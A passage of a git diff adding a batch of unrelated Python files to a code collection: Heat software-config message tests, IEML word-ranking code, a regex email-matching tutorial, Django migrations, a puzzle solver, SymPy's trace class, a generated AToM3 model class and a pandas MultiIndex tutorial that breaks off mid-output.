self.rpc_client.show_software_config.return_value = { + 'config': '#!/bin/bash' + } + result = self.config.get_message() + self.assertEqual( + '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + self.rpc_client.show_software_config.call_args[0][1]) + + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + subs = message.get_payload() + self.assertEqual(1, len(subs)) + self.assertEqual('#!/bin/bash', subs[0].get_payload()) + + def test_get_message_fail_back(self): + parts = [{ + 'config': '2e0e5a60-2843-4cfd-9137-d90bdf18eef5', + 'type': 'text' + }] + self.init_config(parts=parts) + self.rpc_client.show_software_config.side_effect = exc.NotFound() + result = self.config.get_message() + + self.assertEqual( + '2e0e5a60-2843-4cfd-9137-d90bdf18eef5', + self.rpc_client.show_software_config.call_args[0][1]) + + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + subs = message.get_payload() + self.assertEqual(1, len(subs)) + self.assertEqual('2e0e5a60-2843-4cfd-9137-d90bdf18eef5', + subs[0].get_payload()) + + def test_get_message_non_uuid(self): + parts = [{ + 'config': 'http://192.168.122.36:8000/v1/waitcondition/' + }] + self.init_config(parts=parts) + result = self.config.get_message() + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + subs = message.get_payload() + self.assertEqual(1, len(subs)) + self.assertEqual('http://192.168.122.36:8000/v1/waitcondition/', + subs[0].get_payload()) + + def test_get_message_text_with_filename(self): + parts = [{ + 'config': '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + 'type': 'text', + 'filename': '/opt/stack/configure.d/55-heat-config' + }] + self.init_config(parts=parts) + self.rpc_client.show_software_config.return_value = { + 'config': '#!/bin/bash' + } + result = self.config.get_message() + + self.assertEqual( + '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + self.rpc_client.show_software_config.call_args[0][1]) + + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + subs = message.get_payload() + self.assertEqual(1, len(subs)) + self.assertEqual('#!/bin/bash', subs[0].get_payload()) + self.assertEqual(parts[0]['filename'], subs[0].get_filename()) + + def test_get_message_multi_part(self): + multipart = ('Content-Type: multipart/mixed; ' + 'boundary="===============2579792489038011818=="\n' + 'MIME-Version: 1.0\n' + '\n--===============2579792489038011818==' + '\nContent-Type: text; ' + 'charset="us-ascii"\n' + 'MIME-Version: 1.0\n' + 'Content-Transfer-Encoding: 7bit\n' + 'Content-Disposition: attachment;\n' + ' filename="/opt/stack/configure.d/55-heat-config"\n' + '#!/bin/bash\n' + '--===============2579792489038011818==--\n') + parts = [{ + 'config': '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + 'type': 'multipart' + }] + self.init_config(parts=parts) + + self.rpc_client.show_software_config.return_value = { + 'config': multipart + } + + result = self.config.get_message() + + self.assertEqual( + '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + self.rpc_client.show_software_config.call_args[0][1]) + + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + subs = message.get_payload() + self.assertEqual(1, len(subs)) + self.assertEqual('#!/bin/bash', subs[0].get_payload()) + self.assertEqual('/opt/stack/configure.d/55-heat-config', + subs[0].get_filename()) + + def test_get_message_multi_part_bad_format(self): + parts = [ + {'config': '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + 'type': 'multipart'}, + {'config': '9cab10ef-16ce-4be9-8b25-a67b7313eddb', + 'type': 'text'}] + self.init_config(parts=parts) + self.rpc_client.show_software_config.return_value = { + 'config': '#!/bin/bash' + } + result = self.config.get_message() + + self.assertEqual( + '1e0e5a60-2843-4cfd-9137-d90bdf18eef5', + self.rpc_client.show_software_config.call_args_list[0][0][1]) + self.assertEqual( + '9cab10ef-16ce-4be9-8b25-a67b7313eddb', + self.rpc_client.show_software_config.call_args_list[1][0][1]) + + message = email.message_from_string(result) + self.assertTrue(message.is_multipart()) + subs = message.get_payload() + self.assertEqual(1, len(subs)) + self.assertEqual('#!/bin/bash', subs[0].get_payload()) diff --git a/pool/shard008/Python/0078068_order.py b/pool/shard008/Python/0078068_order.py new file mode 100644 index 0000000000000000000000000000000000000000..2379e87db04aa74587cc44b1df7c143a11ed39d0 --- /dev/null +++ b/pool/shard008/Python/0078068_order.py @@ -0,0 +1,116 @@ +from functools import partial +from itertools import chain, groupby + + +from ieml.dictionary.distance import get_matrix +from ieml.dictionary.version import latest_dictionary_version + + +def w_associate(w0, w1): + return w0.root == w1.root + + +def w_opposed(w0, w1): + return w0.root == w1.flexing and w0.flexing == w1.root + + +def m_opposed(m0, m1): + return len(m0) == len(m1) == 1 and m1[0] in m0[0].relations.opposed + + +def w_crossed(w0, w1): + return m_opposed(w0.root, w1.root) and m_opposed(w0.flexing, w1.flexing) + + +def count_id(w0): + """ + 0 -> no terms idd + 1 -> most term idd are shared in root morphem + 2 -> most term idd are shared in flexing morphem + 3 -> most term idd are shared root <-> flexing (crossed) + :param w0: + :param w1: + :return: + """ + + def f(w1): + count = [set(w0.root).intersection(w1.root), + set(w0.flexing).intersection(w1.flexing), + set(w0.root).intersection(w1.flexing) | set(w1.root).intersection(w0.flexing)] + + if any(count): + return max((1,2,3), key=lambda i: len(count[i - 1])) + else: + return 0 + + return f + +relations = get_matrix('relation', latest_dictionary_version()) + + +def count_relations(w0): + """ + 0 -> no terms idd + 1 -> most term idd are shared in root morphem + 2 -> most term idd are shared in flexing morphem + 3 -> most term idd are shared root <-> flexing (crossed) + :param w0: + :param w1: + :return: + """ + + root_w0_relations = set(chain.from_iterable(relations[t.index, :].indices for t in w0.root)) + flexing_w0_relations = set(chain.from_iterable(relations[t.index, :].indices for t in w0.flexing)) + + def f(w1): + root_w1 = set(t.index for t in w1.root) + flexing_w1 = set(t.index for t in w1.flexing) + + count = [root_w0_relations.intersection(root_w1), + flexing_w0_relations.intersection(flexing_w1), + root_w0_relations.intersection(flexing_w1) | flexing_w0_relations.intersection(root_w1)] + + if any(count): + return max((1,2,3), key=lambda i: len(count[i - 1])) + else: + return 0 + return f + +def w_twin(w0): + return w0.root == w0.flexing + + +def order_word_list(w0, word_list): + klass = {'A': [partial(w_associate, w0=w0), partial(w_opposed, w0=w0), partial(w_crossed, w0=w0)], + 'B': count_id(w0), + 'C': count_relations(w0), + 'D': w_twin} + + SUB_KLASS = {1: '0', 2: '1', 3: '2'} + + def get_mark(w): + for k in ('A', 'B', 'C', 'D'): + if isinstance(klass[k], list): + for i, f in enumerate(klass[k]): + if f(w1=w): + return k + SUB_KLASS[i + 1] + else: + o = klass[k](w) + if o != 0: + return k + SUB_KLASS[o] + + return 'E' + + res = sorted(((w, get_mark(w)) for w in word_list), key=lambda k: k[1]) + return {k: [w[0] for w in v] for k, v in groupby(res, key=lambda k: k[1])} + + +def display_ranking(w0, word_list): + print("Ranking from %s"%str(w0)) + + res = order_word_list(w0, word_list) + for k in sorted(res): + print("-- Rank %s --"%k) + for w in res[k]: + print('\t %s'%str(w)) + diff --git a/pool/shard008/Python/0078071_regex.py b/pool/shard008/Python/0078071_regex.py new file mode 100644 index 0000000000000000000000000000000000000000..f2582b6d313c41141e13f94592d992060c874cfe --- /dev/null +++ b/pool/shard008/Python/0078071_regex.py @@ -0,0 +1,36 @@ +#!/usr/bin/python -tt +# This shows some examples of how to use regular expressions. + +import re + + +# The sort-of standard way of searching using RegEx +def Find(pat, text): + match = re.search(pat, text, re.IGNORECASE) + if match: # If 'pat' is not found in 'text' then 'None' will be returned + print match.group() + else: + print pat, "not found" + return () + + +# Find an email address... +Find(r'[\w.]+@[\w.]+', 'My email.address is andrew.jeffrey@nhs.net, as far as I remember') +print '\n' + +# Find an email address and mark up the interesting parts... +textblock = 'My email.address is andrew.jeffrey@nhs.net now, it used to be andrew.jeffrey@manchester.nhs.uk' + +match = re.search(r'([\w.]+)@([\w.]+)', textblock) + +print 'Email Address :', match.group() +print 'Login Name :', match.group(1) +print 'Email Domain :', match.group(2) +print '---------------------------------------------' + +multimatch = re.findall(r'([\w.]+)@([\w.]+)', textblock) +for part in multimatch: + print 'Email Address :', part[0] + '@' + part[1] + print 'Login Name :', part[0] + print 'Email Domain :', part[1] + print diff --git a/pool/shard008/Python/0078074_0002_fixtures.py b/pool/shard008/Python/0078074_0002_fixtures.py new file mode 100644 index 0000000000000000000000000000000000000000..183eff2324d5b644eea4c7356b390f80d31c9a6a --- /dev/null +++ b/pool/shard008/Python/0078074_0002_fixtures.py @@ -0,0 +1,19 @@ +from django.conf import settings +from django.core.management import call_command +from django.db import migrations + + +def load_fixture(apps, schema_editor): + filename = settings.BASE_DIR / "analysis/fixtures/initial_data.json" + call_command("loaddata", str(filename), app_label="analysis") + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [("analysis", "0001_initial")] + + operations = [ + migrations.RunPython(load_fixture, reverse_code=migrations.RunPython.noop), + ] diff --git a/pool/shard008/Python/0078075_0004_add_couch_id.py b/pool/shard008/Python/0078075_0004_add_couch_id.py new file mode 100644 index 0000000000000000000000000000000000000000..3cab3a2100632666a405557e58d251295b902fa5 --- /dev/null +++ b/pool/shard008/Python/0078075_0004_add_couch_id.py @@ -0,0 +1,63 @@ +# Generated by Django 2.2.20 on 2021-06-04 15:40 + +from django.db import migrations, models + + +ACCESS_INDEX = "audit_access_couch_10d1b_idx" +ACCESS_TABLE = "auditcare_accessaudit" +NAVIGATION_EVENT_INDEX = "audit_nav_couch_875bc_idx" +NAVIGATION_EVENT_TABLE = "auditcare_navigationeventaudit" + + +def _create_index_sql(table_name, index_name): + return """ + CREATE UNIQUE INDEX CONCURRENTLY IF NOT EXISTS {} ON {} (couch_id) + WHERE couch_id IS NOT NULL + """.format(index_name, table_name) + + +def _drop_index_sql(index_name): + return "DROP INDEX CONCURRENTLY IF EXISTS {}".format(index_name) + + +class Migration(migrations.Migration): + atomic = False + + dependencies = [ + ('auditcare', '0003_truncatechars'), + ] + + operations = [ + migrations.AddField( + model_name='accessaudit', + name='couch_id', + field=models.CharField(max_length=126, null=True), + ), + migrations.AddField( + model_name='navigationeventaudit', + name='couch_id', + field=models.CharField(max_length=126, null=True), + ), + migrations.RunSQL( + sql=_create_index_sql(ACCESS_TABLE, ACCESS_INDEX), + reverse_sql=_drop_index_sql(ACCESS_INDEX), + state_operations=[ + migrations.AddConstraint( + model_name='accessaudit', + constraint=models.UniqueConstraint(condition=models.Q(couch_id__isnull=False), + fields=('couch_id',), name=ACCESS_INDEX), + ), + ] + ), + migrations.RunSQL( + sql=_create_index_sql(NAVIGATION_EVENT_TABLE, NAVIGATION_EVENT_INDEX), + reverse_sql=_drop_index_sql(NAVIGATION_EVENT_INDEX), + state_operations=[ + migrations.AddConstraint( + model_name='navigationeventaudit', + constraint=models.UniqueConstraint(condition=models.Q(couch_id__isnull=False), + fields=('couch_id',), name=NAVIGATION_EVENT_INDEX), + ), + ] + ), + ] diff --git a/pool/shard008/Python/0078076_src.py b/pool/shard008/Python/0078076_src.py new file mode 100644 index 0000000000000000000000000000000000000000..f25a5bc597e22f8cff44ac5ed1d33aa75f0288eb --- /dev/null +++ b/pool/shard008/Python/0078076_src.py @@ -0,0 +1,29 @@ +import sys +import re +import itertools + +def parse(line): + (disc_num, size, init) = re.match( + r'Disc #(\d+) has (\d+) positions; at time=0, it is at position (\d+).', + line).groups() + + prime = int(size) + residue = prime - ((int(init) + int(disc_num)) % prime) + + return (prime, residue) + +def combine((p, n), (q, m)): + x = n + while x % q != m: + x = x + p + return (p * q, x) + +def solve(constraints): + return reduce(combine, sorted(constraints, reverse=True))[1] + +if __name__ == '__main__': + constraints = [parse(line.rstrip()) for line in sys.stdin] + print "part 1: %d" % solve(constraints) + + print "part 2: %d" % solve(constraints + + [parse("Disc #7 has 11 positions; at time=0, it is at position 0.")]) diff --git a/pool/shard008/Python/0078078_trace.py b/pool/shard008/Python/0078078_trace.py new file mode 100644 index 0000000000000000000000000000000000000000..f1fb49660b1c1488f11c6d4fa0b04ba98d79f190 --- /dev/null +++ b/pool/shard008/Python/0078078_trace.py @@ -0,0 +1,216 @@ +from __future__ import print_function, division + +from sympy import Expr, Add, Mul, Pow, sympify, Matrix, Tuple +from sympy.core.compatibility import range +from sympy.utilities import default_sort_key + + +def _is_scalar(e): + """ Helper method used in Tr""" + + # sympify to set proper attributes + e = sympify(e) + if isinstance(e, Expr): + if (e.is_Integer or e.is_Float or + e.is_Rational or e.is_Number or + (e.is_Symbol and e.is_commutative) + ): + return True + + return False + + +def _cycle_permute(l): + """ Cyclic permutations based on canonical ordering + + This method does the sort based ascii values while + a better approach would be to used lexicographic sort. + TODO: Handle condition such as symbols have subscripts/superscripts + in case of lexicographic sort + + """ + + if len(l) == 1: + return l + + min_item = min(l, key=default_sort_key) + indices = [i for i, x in enumerate(l) if x == min_item] + + le = list(l) + le.extend(l) # duplicate and extend string for easy processing + + # adding the first min_item index back for easier looping + indices.append(len(l) + indices[0]) + + # create sublist of items with first item as min_item and last_item + # in each of the sublist is item just before the next occurence of + # minitem in the cycle formed. + sublist = [[le[indices[i]:indices[i + 1]]] for i in + range(len(indices) - 1)] + + # we do comparison of strings by comparing elements + # in each sublist + idx = sublist.index(min(sublist)) + ordered_l = le[indices[idx]:indices[idx] + len(l)] + + return ordered_l + + +def _rearrange_args(l): + """ this just moves the last arg to first position + to enable expansion of args + A,B,A ==> A**2,B + """ + if len(l) == 1: + return l + + x = list(l[-1:]) + x.extend(l[0:-1]) + return Mul(*x).args + + +class Tr(Expr): + """ Generic Trace operation than can trace over: + + a) sympy matrix + b) operators + c) outer products + + Parameters + ========== + o : operator, matrix, expr + i : tuple/list indices (optional) + + Examples + ======== + + # TODO: Need to handle printing + + a) Trace(A+B) = Tr(A) + Tr(B) + b) Trace(scalar*Operator) = scalar*Trace(Operator) + + >>> from sympy.core.trace import Tr + >>> from sympy import symbols, Matrix + >>> a, b = symbols('a b', commutative=True) + >>> A, B = symbols('A B', commutative=False) + >>> Tr(a*A,[2]) + a*Tr(A) + >>> m = Matrix([[1,2],[1,1]]) + >>> Tr(m) + 2 + + """ + def __new__(cls, *args): + """ Construct a Trace object. + + Parameters + ========== + args = sympy expression + indices = tuple/list if indices, optional + + """ + + # expect no indices,int or a tuple/list/Tuple + if (len(args) == 2): + if not isinstance(args[1], (list, Tuple, tuple)): + indices = Tuple(args[1]) + else: + indices = Tuple(*args[1]) + + expr = args[0] + elif (len(args) == 1): + indices = Tuple() + expr = args[0] + else: + raise ValueError("Arguments to Tr should be of form " + "(expr[, [indices]])") + + if isinstance(expr, Matrix): + return expr.trace() + elif hasattr(expr, 'trace') and callable(expr.trace): + #for any objects that have trace() defined e.g numpy + return expr.trace() + elif isinstance(expr, Add): + return Add(*[Tr(arg, indices) for arg in expr.args]) + elif isinstance(expr, Mul): + c_part, nc_part = expr.args_cnc() + if len(nc_part) == 0: + return Mul(*c_part) + else: + obj = Expr.__new__(cls, Mul(*nc_part), indices ) + #this check is needed to prevent cached instances + #being returned even if len(c_part)==0 + return Mul(*c_part)*obj if len(c_part) > 0 else obj + elif isinstance(expr, Pow): + if (_is_scalar(expr.args[0]) and + _is_scalar(expr.args[1])): + return expr + else: + return Expr.__new__(cls, expr, indices) + else: + if (_is_scalar(expr)): + return expr + + return Expr.__new__(cls, expr, indices) + + def doit(self, **kwargs): + """ Perform the trace operation. + + #TODO: Current version ignores the indices set for partial trace. + + >>> from sympy.core.trace import Tr + >>> from sympy.physics.quantum.operator import OuterProduct + >>> from sympy.physics.quantum.spin import JzKet, JzBra + >>> t = Tr(OuterProduct(JzKet(1,1), JzBra(1,1))) + >>> t.doit() + 1 + + """ + if hasattr(self.args[0], '_eval_trace'): + return self.args[0]._eval_trace(indices=self.args[1]) + + return self + + @property + def is_number(self): + # TODO : improve this implementation + return True + + #TODO: Review if the permute method is needed + # and if it needs to return a new instance + def permute(self, pos): + """ Permute the arguments cyclically. + + Parameters + ========== + pos : integer, if positive, shift-right, else shift-left + + Examples + ======== + + >>> from sympy.core.trace import Tr + >>> from sympy import symbols + >>> A, B, C, D = symbols('A B C D', commutative=False) + >>> t = Tr(A*B*C*D) + >>> t.permute(2) + Tr(C*D*A*B) + >>> t.permute(-2) + Tr(C*D*A*B) + + """ + if pos > 0: + pos = pos % len(self.args[0].args) + else: + pos = -(abs(pos) % len(self.args[0].args)) + + args = list(self.args[0].args[-pos:] + self.args[0].args[0:-pos]) + + return Tr(Mul(*(args))) + + def _hashable_content(self): + if isinstance(self.args[0], Mul): + args = _cycle_permute(_rearrange_args(self.args[0].args)) + else: + args = [self.args[0]] + + return tuple(args) + (self.args[1], ) diff --git a/pool/shard008/Python/0078094_MT_post__ApplyModel.py b/pool/shard008/Python/0078094_MT_post__ApplyModel.py new file mode 100644 index 0000000000000000000000000000000000000000..2f2d54cb11fd693e778f05b744953bffd89127f4 --- /dev/null +++ b/pool/shard008/Python/0078094_MT_post__ApplyModel.py @@ -0,0 +1,112 @@ +""" +__MT_post__ApplyModel.py_____________________________________________________ + +Automatically generated AToM3 syntactic object (DO NOT MODIFY DIRECTLY) +Author: gehan +Modified: Sun Feb 15 10:31:26 2015 +_____________________________________________________________________________ +""" +from ASGNode import * + +from ATOM3Type import * + +from ATOM3String import * +from graph_MT_post__ApplyModel import * +class MT_post__ApplyModel(ASGNode, ATOM3Type): + + def __init__(self, parent = None): + ASGNode.__init__(self) + ATOM3Type.__init__(self) + self.superTypes = [] + self.graphClass_ = graph_MT_post__ApplyModel + self.isGraphObjectVisual = True + if(hasattr(self, '_setHierarchicalLink')): + self._setHierarchicalLink(False) + if(hasattr(self, '_setHierarchicalNode')): + self._setHierarchicalNode(False) + self.parent = parent + self.MT_label__=ATOM3String('', 20) + self.MT_pivotOut__=ATOM3String('', 20) + self.generatedAttributes = {'MT_label__': ('ATOM3String', ), + 'MT_pivotOut__': ('ATOM3String', ) } + self.realOrder = ['MT_label__','MT_pivotOut__'] + self.directEditing = [1,1] + def clone(self): + cloneObject = MT_post__ApplyModel( self.parent ) + for atr in self.realOrder: + cloneObject.setAttrValue(atr, self.getAttrValue(atr).clone() ) + ASGNode.cloneActions(self, cloneObject) + + return cloneObject + def copy(self, other): + ATOM3Type.copy(self, other) + for atr in self.realOrder: + self.setAttrValue(atr, other.getAttrValue(atr) ) + ASGNode.copy(self, other) + + def preCondition (self, actionID, * params): + if self.graphObject_: + return self.graphObject_.preCondition(actionID, params) + else: return None + def postCondition (self, actionID, * params): + if self.graphObject_: + return self.graphObject_.postCondition(actionID, params) + else: return None + def preAction (self, actionID, * params): + if actionID == self.CREATE: + self.autoIncrLabel(params) + if self.graphObject_: + return self.graphObject_.preAction(actionID, params) + else: return None + def postAction (self, actionID, * params): + if self.graphObject_: + return self.graphObject_.postAction(actionID, params) + else: return None + def QOCA(self, params): + """ + QOCA Constraint Template + NOTE: DO NOT select a POST/PRE action trigger + Constraints will be added/removed in a logical manner by other mechanisms. + """ + return # <---- Remove this to use QOCA + + """ Get the high level constraint helper and solver """ + from Qoca.atom3constraints.OffsetConstraints import OffsetConstraints + oc = OffsetConstraints(self.parent.qocaSolver) + + """ + Example constraint, see Kernel/QOCA/atom3constraints/OffsetConstraints.py + For more types of constraints + """ + oc.fixedWidth(self.graphObject_, self.graphObject_.sizeX) + oc.fixedHeight(self.graphObject_, self.graphObject_.sizeY) + + + + def autoIncrLabel(self, params): + + #=============================================================================== + # Auto increment the label + #=============================================================================== + + # If there is already one, ignore + if not self.MT_label__.isNone(): return + + # Get the maximum label of all MT_pre__ elements + label = 0 + for nt in self.parent.ASGroot.listNodes: + if nt.startswith('MT_post__'): + for node in self.parent.ASGroot.listNodes[nt]: + currLabel = 0 + try: + currLabel = int(node.MT_label__.getValue()) + except: + pass + if currLabel > label: + label = currLabel + # The label of this instance will be the max label + 1 + self.MT_label__.setValue(str(label + 1)) + + + + diff --git a/pool/shard008/Python/0078099_0002_auto_20170504_1443.py b/pool/shard008/Python/0078099_0002_auto_20170504_1443.py new file mode 100644 index 0000000000000000000000000000000000000000..9c37ddb3a3bbe32dc8364588a7760971c1354b19 --- /dev/null +++ b/pool/shard008/Python/0078099_0002_auto_20170504_1443.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('thumbnails', '0001_initial'), + ] + + operations = [ + migrations.AlterField( + model_name='thumbnail', + name=b'id', + field=models.AutoField( + verbose_name='ID', serialize=False, + auto_created=True, primary_key=True), + ), + migrations.AlterField( + model_name='thumbnail', + name=b'is_automatic', + field=models.BooleanField(default=False), + ), + migrations.AlterUniqueTogether( + name='thumbnail', + unique_together=set([('object_type', 'object_id')]), + ), + ] diff --git a/pool/shard008/Python/0078100_pandas_multiindex_set_reset_sort_swap.py b/pool/shard008/Python/0078100_pandas_multiindex_set_reset_sort_swap.py new file mode 100644 index 0000000000000000000000000000000000000000..2381ff571c5763b01c8342bec1c301684d29f5ac --- /dev/null +++ b/pool/shard008/Python/0078100_pandas_multiindex_set_reset_sort_swap.py @@ -0,0 +1,355 @@ +import pandas as pd + +df = pd.read_csv('data/src/sample_multi.csv') +print(df) +# level_1 level_2 level_3 val_1 val_2 +# 0 A0 B0 C0 98 90 +# 1 A0 B0 C1 44 9 +# 2 A0 B1 C2 39 17 +# 3 A0 B1 C3 75 71 +# 4 A1 B2 C0 1 89 +# 5 A1 B2 C1 54 60 +# 6 A1 B3 C2 47 6 +# 7 A1 B3 C3 16 5 +# 8 A2 B0 C0 75 22 +# 9 A2 B0 C1 19 4 +# 10 A2 B1 C2 25 52 +# 11 A2 B1 C3 57 40 +# 12 A3 B2 C0 64 54 +# 13 A3 B2 C1 27 96 +# 14 A3 B3 C2 100 77 +# 15 A3 B3 C3 22 50 + +df_m_csv = pd.read_csv('data/src/sample_multi.csv', index_col=['level_1', 'level_2', 'level_3']) +print(df_m_csv) +# val_1 val_2 +# level_1 level_2 level_3 +# A0 B0 C0 98 90 +# C1 44 9 +# B1 C2 39 17 +# C3 75 71 +# A1 B2 C0 1 89 +# C1 54 60 +# B3 C2 47 6 +# C3 16 5 +# A2 B0 C0 75 22 +# C1 19 4 +# B1 C2 25 52 +# C3 57 40 +# A3 B2 C0 64 54 +# C1 27 96 +# B3 C2 100 77 +# C3 22 50 + +df_m = df.set_index(['level_1', 'level_2', 'level_3']) +print(df_m) +# val_1 val_2 +# level_1 level_2 level_3 +# A0 B0 C0 98 90 +# C1 44 9 +# B1 C2 39 17 +# C3 75 71 +# A1 B2 C0 1 89 +# C1 54 60 +# B3 C2 47 6 +# C3 16 5 +# A2 B0 C0 75 22 +# C1 19 4 +# B1 C2 25 52 +# C3 57 40 +# A3 B2 C0 64 54 +# C1 27 96 +# B3 C2 100 77 +# C3 22 50 + +df_m_1 = df.set_index('level_1') +print(df_m_1) +# level_2 level_3 val_1 val_2 +# level_1 +# A0 B0 C0 98 90 +# A0 B0 C1 44 9 +# A0 B1 C2 39 17 +# A0 B1 C3 75 71 +# A1 B2 C0 1 89 +# A1 B2 C1 54 60 +# A1 B3 C2 47 6 +# A1 B3 C3 16 5 +# A2 B0 C0 75 22 +# A2 B0 C1 19 4 +# A2 B1 C2 25 52 +# A2 B1 C3 57 40 +# A3 B2 C0 64 54 +# A3 B2 C1 27 96 +# A3 B3 C2 100 77 +# A3 B3 C3 22 50 + +df_m_2 = df_m_1.set_index('level_2', append=True) +print(df_m_2) +# level_3 val_1 val_2 +# level_1 level_2 +# A0 B0 C0 98 90 +# B0 C1 44 9 +# B1 C2 39 17 +# B1 C3 75 71 +# A1 B2 C0 1 89 +# B2 C1 54 60 +# B3 C2 47 6 +# B3 C3 16 5 +# A2 B0 C0 75 22 +# B0 C1 19 4 +# B1 C2 25 52 +# B1 C3 57 40 +# A3 B2 C0 64 54 +# B2 C1 27 96 +# B3 C2 100 77 +# B3 C3 22 50 + +df_r_all = df_m.reset_index() +print(df_r_all) +# level_1 level_2 level_3 val_1 val_2 +# 0 A0 B0 C0 98 90 +# 1 A0 B0 C1 44 9 +# 2 A0 B1 C2 39 17 +# 3 A0 B1 C3 75 71 +# 4 A1 B2 C0 1 89 +# 5 A1 B2 C1 54 60 +# 6 A1 B3 C2 47 6 +# 7 A1 B3 C3 16 5 +# 8 A2 B0 C0 75 22 +# 9 A2 B0 C1 19 4 +# 10 A2 B1 C2 25 52 +# 11 A2 B1 C3 57 40 +# 12 A3 B2 C0 64 54 +# 13 A3 B2 C1 27 96 +# 14 A3 B3 C2 100 77 +# 15 A3 B3 C3 22 50 + +df_r_1 = df_m.reset_index(level='level_1') +print(df_r_1) +# level_1 val_1 val_2 +# level_2 level_3 +# B0 C0 A0 98 90 +# C1 A0 44 9 +# B1 C2 A0 39 17 +# C3 A0 75 71 +# B2 C0 A1 1 89 +# C1 A1 54 60 +# B3 C2 A1 47 6 +# C3 A1 16 5 +# B0 C0 A2 75 22 +# C1 A2 19 4 +# B1 C2 A2 25 52 +# C3 A2 57 40 +# B2 C0 A3 64 54 +# C1 A3 27 96 +# B3 C2 A3 100 77 +# C3 A3 22 50 + +df_r_1 = df_m.reset_index(level=0) +print(df_r_1) +# level_1 val_1 val_2 +# level_2 level_3 +# B0 C0 A0 98 90 +# C1 A0 44 9 +# B1 C2 A0 39 17 +# C3 A0 75 71 +# B2 C0 A1 1 89 +# C1 A1 54 60 +# B3 C2 A1 47 6 +# C3 A1 16 5 +# B0 C0 A2 75 22 +# C1 A2 19 4 +# B1 C2 A2 25 52 +# C3 A2 57 40 +# B2 C0 A3 64 54 +# C1 A3 27 96 +# B3 C2 A3 100 77 +# C3 A3 22 50 + +df_r_2 = df_m.reset_index(level=['level_1', 'level_2']) +print(df_r_2) +# level_1 level_2 val_1 val_2 +# level_3 +# C0 A0 B0 98 90 +# C1 A0 B0 44 9 +# C2 A0 B1 39 17 +# C3 A0 B1 75 71 +# C0 A1 B2 1 89 +# C1 A1 B2 54 60 +# C2 A1 B3 47 6 +# C3 A1 B3 16 5 +# C0 A2 B0 75 22 +# C1 A2 B0 19 4 +# C2 A2 B1 25 52 +# C3 A2 B1 57 40 +# C0 A3 B2 64 54 +# C1 A3 B2 27 96 +# C2 A3 B3 100 77 +# C3 A3 B3 22 50 + +df_r_drop = df_m.reset_index(level='level_1', drop=True) +print(df_r_drop) +# val_1 val_2 +# level_2 level_3 +# B0 C0 98 90 +# C1 44 9 +# B1 C2 39 17 +# C3 75 71 +# B2 C0 1 89 +# C1 54 60 +# B3 C2 47 6 +# C3 16 5 +# B0 C0 75 22 +# C1 19 4 +# B1 C2 25 52 +# C3 57 40 +# B2 C0 64 54 +# C1 27 96 +# B3 C2 100 77 +# C3 22 50 + +df_r_drop_sort = df_r_drop.sort_index() +print(df_r_drop_sort) +# val_1 val_2 +# level_2 level_3 +# B0 C0 98 90 +# C0 75 22 +# C1 44 9 +# C1 19 4 +# B1 C2 39 17 +# C2 25 52 +# C3 75 71 +# C3 57 40 +# B2 C0 1 89 +# C0 64 54 +# C1 54 60 +# C1 27 96 +# B3 C2 47 6 +# C2 100 77 +# C3 16 5 +# C3 22 50 + +df_r_drop_sort_2 = df_r_drop.sort_index(level='level_3') +print(df_r_drop_sort_2) +# val_1 val_2 +# level_2 level_3 +# B0 C0 98 90 +# C0 75 22 +# B2 C0 1 89 +# C0 64 54 +# B0 C1 44 9 +# C1 19 4 +# B2 C1 54 60 +# C1 27 96 +# B1 C2 39 17 +# C2 25 52 +# B3 C2 47 6 +# C2 100 77 +# B1 C3 75 71 +# C3 57 40 +# B3 C3 16 5 +# C3 22 50 + +print(df_m) +# val_1 val_2 +# level_1 level_2 level_3 +# A0 B0 C0 98 90 +# C1 44 9 +# B1 C2 39 17 +# C3 75 71 +# A1 B2 C0 1 89 +# C1 54 60 +# B3 C2 47 6 +# C3 16 5 +# A2 B0 C0 75 22 +# C1 19 4 +# B1 C2 25 52 +# C3 57 40 +# A3 B2 C0 64 54 +# C1 27 96 +# B3 C2 100 77 +# C3 22 50 + +df_m_swap = df_m.swaplevel('level_1', 'level_3') +print(df_m_swap) +# val_1 val_2 +# level_3 level_2 level_1 +# C0 B0 A0 98 90 +# C1 B0 A0 44 9 +# C2 B1 A0 39 17 +# C3 B1 A0 75 71 +# C0 B2 A1 1 89 +# C1 B2 A1 54 60 +# C2 B3 A1 47 6 +# C3 B3 A1 16 5 +# C0 B0 A2 75 22 +# C1 B0 A2 19 4 +# C2 B1 A2 25 52 +# C3 B1 A2 57 40 +# C0 B2 A3 64 54 +# C1 B2 A3 27 96 +# C2 B3 A3 100 77 +# C3 B3 A3 22 50 + +df_m_swap = df_m.swaplevel(0, 2) +print(df_m_swap) +# val_1 val_2 +# level_3 level_2 level_1 +# C0 B0 A0 98 90 +# C1 B0 A0 44 9 +# C2 B1 A0 39 17 +# C3 B1 A0 75 71 +# C0 B2 A1 1 89 +# C1 B2 A1 54 60 +# C2 B3 A1 47 6 +# C3 B3 A1 16 5 +# C0 B0 A2 75 22 +# C1 B0 A2 19 4 +# C2 B1 A2 25 52 +# C3 B1 A2 57 40 +# C0 B2 A3 64 54 +# C1 B2 A3 27 96 +# C2 B3 A3 100 77 +# C3 B3 A3 22 50 + +df_m_swap_sort = df_m.swaplevel('level_1', 'level_3').sort_index() +print(df_m_swap_sort) +# val_1 val_2 +# level_3 level_2 level_1 +# C0 B0 A0 98 90 +# A2 75 22 +# B2 A1 1 89 +# A3 64 54 +# C1 B0 A0 44 9 +# A2 19 4 +# B2 A1 54 60 +# A3 27 96 +# C2 B1 A0 39 17 +# A2 25 52 +# B3 A1 47 6 +# A3 100 77 +# C3 B1 A0 75 71 +# A2 57 40 +# B3 A1 16 5 +# A3 22 50 + +df_m_change = df_m.reset_index().set_index(['level_2', 'level_3', 'level_1']).sort_index() +print(df_m_change) +# val_1 val_2 +# level_2 level_3 level_1 +# B0 C0 A0 98 90 +# A2 